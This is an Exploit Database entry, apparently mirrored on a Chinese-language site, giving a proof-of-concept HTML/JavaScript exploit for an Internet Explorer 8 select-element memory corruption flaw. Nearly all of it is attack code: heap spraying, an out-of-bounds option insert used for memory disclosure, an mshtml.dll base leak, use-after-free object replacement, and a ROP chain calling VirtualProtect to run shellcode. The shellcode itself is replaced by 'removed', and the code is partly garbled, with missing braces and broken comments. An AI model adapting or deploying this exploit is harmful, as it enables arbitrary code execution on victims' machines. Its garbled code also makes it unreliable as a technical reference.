Microsoft Internet Explorer 8 – Select Element Memory Corruption

Exploit Database
108 阅读

作者： Ivan Fratric

日期： 2011-10-11
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/36209/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

source: https://www.securityfocus.com/bid/49964/info

Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions.

<html>

<head>

</head>

<body>

<!--

//originally, windows 7 compatible calc.exe shellcode from SkyLined

var scode = "removed";

var newstack,newstackaddr;

var fakeobj;

var spray,spray2,selarray,readindex,readaddr,optarryaddr;

var elms = new Array();

var optarray;

var mshtmlbase;

//option object that is to be corrupted

var corruptedoption;

var corruptedoptionaddr;

var corruptaddr;

function strtoint(str) {

return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);

}

function inttostr(num) {

return String.fromCharCode(num%65536,Math.floor(num/65536));

}

function crash() {

var o = new Option();

selarray[99].options.add(o,-0x20000000);

}

function readmem(addr) {

if(addr < readaddr) alert("Error, can't read that address");

return strtoint(spray[readindex].substr((addr-readaddr)/2,2));

}

function readmem2(addr,size) {

if(addr < readaddr) alert("Error, can't read that address");

return spray[readindex].substr((addr-readaddr)/2,size/2);

}

function overwrite(addr) {

try {

var index = (addr-optarryaddr)/4 - 0x40000000;

selarray[99].options.add(optarray.pop(),index);

} catch(err) {}

}

function getreadaddr() {

readaddr = 0;

var indexarray = new Array();

var tmpaddr = 0;

var i,index;

index = readmem(tmpaddr);

indexarray.push(index);

while(1) {

tmpaddr += 0x100000;

index = readmem(tmpaddr);

for(i=0;i<indexarray.length;i++) {

if(indexarray[i]==index+1) {

readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;

return 1;

} else if(indexarray[i]==index-1) {

readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;

return 1;

}

indexarray.push(index);

}

//leverages the vulnerability into memory disclosure

function initread() {

//overwrite something in a heap spray slide

try {

selarray[99].options.add(optarray.pop(),-100000000/4);

} catch(err) {}

//now find what and where exectly did we overwrite

readindex = -1;

var i;

for(i=1;i<200;i++) {

if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2))

{

readindex = i;

break;

}

if(readindex == -1) {

alert("Error overwriring first spray");

return 0;

}

var start=2,len=spray[readindex].length-2,mid;

while(len>10) {

mid = Math.round(len/2);

mid = mid - mid%2;

if(spray[readindex].substr(start,mid) !=

spray[readindex-1].substr(start,mid)) {

len = mid;

} else {

start = start+mid;

len = len-mid;

//if(spray[readindex].substr(start,mid) ==

spray[readindex-1].substr(start,mid)) alert("error");

}

for(i=start;i<(start+20);i=i+2) {

if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {

break;

}

//overwrite the string length

try {

selarray[99].options.add(optarray.pop(),-100000000/4-i/2-1);

} catch(err) {}

if(spray[readindex].length == spray[readindex-1].length) alert("error

overwriting string length");

//readaddr = strtoint(spray[readindex].substr((0x100000-4-0x20+4)/2,2))+0x24;

getreadaddr();

optarryaddr = readaddr + 100000000 + i*2;

return 1;

}

function trysploit() {

//create some helper objects

for(var i =0; i < 100; i++) {

elms.push(document.createElement('div'));

}

//force the option cache to rebuild itself

var tmp1 = selarray[99].options[70].text;

//overwrite the CTreeNode pointer

overwrite(corruptaddr);

//read the address of the option object we overwrited with

var optadr = readmem(corruptaddr);

//delete the option object...

selarray[99].options.remove(0);

CollectGarbage();

//...and allocate some strings in its place

for(var i = 0; i < elms.length; i++) {

elms[i].className = fakeobj;

}

//verify we overwrote the deleted option object successfully

if(readmem(optadr) != strtoint(fakeobj.substr(0,2))) return 0;

alert("success, calc.exe should start once you close this message box");

//now do something with the corrupted option object

corruptedoption.parentNode.click();

}

function hs() {

//first heap spray, nop slide + shellcode

spray = new Array(200);

var pattern = unescape("%u0C0C%u0C0C");

while(pattern.length<(0x100000/2)) pattern+=pattern;

pattern = pattern.substr(0,0x100000/2-0x100);

for(var i=0;i<200;i++) {

spray[i] = [inttostr(i)+pattern+scode].join("");

}

//fill small gaps, we wan everything _behind_ our heap spray so that

we can read it

var asmall = new Array(10000);

pattern = "aaaa";

while(pattern.length<500) pattern+=pattern;

for(var i=0;i<10000;i++) {

asmall[i]=[pattern+pattern].join("");

}

//create some select and option elements

selarray = new Array(100);

for(var i=0;i<100;i++) {

selarray[i] = document.createElement("select");

for(var j=0;j<100;j++) {

var o = new Option("oooooooooooooooooo","ooooooooooooooooooooo");

selarray[i].options.add(o,0);

}

//create some extra option elements

optarray = new Array(10000);

for(var i=0;i<10000;i++) {

optarray[i] = new Option("oooooooooooooooooo","ooooooooooooooooooooo");

}

//enable memory disclosure

if(initread()==0) return;

//force the option cache to rebuild itself

var tmp1 = selarray[99].options[60].text;

//get the address of some option element to be corrupted, also remove

it from its select element, we don't want anything else messing with

corruptedoptionaddr = readmem(optarryaddr+60*4);

corruptedoption = selarray[99].options[60];

selarray[99].options.remove(60);

//get the base address of mshtml.dll based on the vtable address

inside the option object

mshtmlbase = readmem(corruptedoptionaddr)-0xFC0C0;

alert("base address of mshtml.dll : " + mshtmlbase.toString(16));

//we'll overwrite the pointer to the CTreeNode object, compute its address

corruptaddr = corruptedoptionaddr+0x14;

//second heap-spray, this one will act as a stack (we'll exchange

stack pointer with a pointer into this)

spray2 = new Array(200);

//some address that is likely to be inside the "stack"

newstackaddr = optarryaddr+100000000;

newstackaddr-=newstackaddr%0x1000;

newstackaddr+=0x24;

//assemble the "stack" so that it calls VirtualProtect on the firs

shellcode and then jumps into it through return-oriented-programming

newstack = inttostr(newstackaddr+0x10)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(newstackaddr+0x14)+inttostr(mshtmlbase+0x14EF7)+inttostr(mshtmlbase+0x1348)+inttostr(mshtmlbase+0x801E8)+inttostr(readaddr+0x100000-0x24)+inttostr(0x100000)+inttostr(0x40)+inttostr(readaddr+0x1000)+inttostr(readaddr+0x101000)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(mshtmlbase+0x1B43F);

while(newstack.length<(0x1000/2))

newstack+=unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA");

newstack = newstack.substr(0,0x1000/2);

while(newstack.length<(0x100000/2)) newstack+=newstack;

newstack = newstack.substr(0,0x100000/2-0x100);

for(var i=0;i<200;i++) {

spray2[i] = [newstack].join("");

}

//constract a fake object which will replace a deleted option object

(it has to be the same size)

//fakeobj = unescape("%u4141%u4141")+inttostr(newstackaddr)+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");

fakeobj = unescape("%u4141%u4141%u4141%u4141")+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");

//loop until we either achieve command execution or fail

for(var i=0;i<100;i++) {

trysploit();

}

alert("Exploit failed, try again");

}

hs();

-->

</script>

</body>

</html>